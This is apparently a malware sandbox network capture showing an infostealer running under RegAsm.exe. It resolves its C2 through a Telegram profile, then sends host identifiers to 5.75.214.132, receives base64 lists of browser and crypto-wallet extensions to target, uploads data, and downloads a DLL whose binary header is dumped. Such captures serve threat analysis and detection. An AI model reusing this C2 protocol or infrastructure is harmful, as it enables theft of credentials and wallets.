2024-09-11 14:22:46 UTC	986	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:46 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.4308929443359375 expires: Wed, 11 Sep 2024 14:22:46 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Thu, 11 Sep 2025 14:22:46 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Thu, 11 Sep 2025 14:22:46 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ri8J7C7zqeDVQRCMRn5qVABzBWDmRwhYWscBLYyGWv07jjQjP7k41uY7t7PMYauBonpdTgwf5IzERUjoWMZEm8DT3XbNrlBOG7l5wDbc15KtG88VQ1FBFUpmBfL3PQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c184fd07a5841df-EWR
2024-09-11 14:22:46 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-09-11 14:22:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	63373	149.154.167.99	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:51 UTC	84	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:51 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 11 Sep 2024 14:22:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12282 Connection: close Set-Cookie: stel_ssid=6ce43228477eb2573b_11654436568239867088; expires=Thu, 12 Sep 2024 14:22:51 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-11 14:22:51 UTC	12282	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63374	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:53 UTC	232	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:22:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63379	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:54 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:54 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 41 31 43 42 31 33 35 44 38 30 31 31 32 38 30 35 36 36 34 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="hwid"59A1CB135D801128056648-a33c7340-61ca------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------GCBKECAKFBGCAKECGIEH--
2024-09-11 14:22:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:22:55 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|ee43e5565ec3e6bf52bd8aee981b6c72\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63382	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:56 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:56 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------BGIDBKKKKKFBGDGDHIDBCont
2024-09-11 14:22:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:22:57 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63385	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:58 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------DGHJECAFIDAFHJKFCGHICont
2024-09-11 14:22:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:22:59 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63388	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:59 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:22:59 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------AFCFHDHIIIECBGCAKFIJCont
2024-09-11 14:23:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:00 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63390	184.28.90.27	443	7296	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-11 14:23:00 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=94945 Date: Wed, 11 Sep 2024 14:23:00 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	63392	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:01 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGCGIDAKEBKECAFIEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 6545 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:01 UTC	6545	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 43 47 49 44 41 4b 45 42 4b 45 43 41 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 43 47 49 44 41 4b 45 42 4b 45 43 41 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 43 47 49 44 41 4b 45 42 4b 45 43 41 46 49 45 48 0d 0a 43 6f 6e 74 Data Ascii: ------EHDGCGIDAKEBKECAFIEHContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------EHDGCGIDAKEBKECAFIEHContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------EHDGCGIDAKEBKECAFIEHCont
2024-09-11 14:23:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:02 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	63393	184.28.90.27	443	7296	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:01 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-11 14:23:01 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=94915 Date: Wed, 11 Sep 2024 14:23:01 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-11 14:23:01 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	63396	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:02 UTC	240	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:02 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:02 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:02 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:02 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-11 14:23:02 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
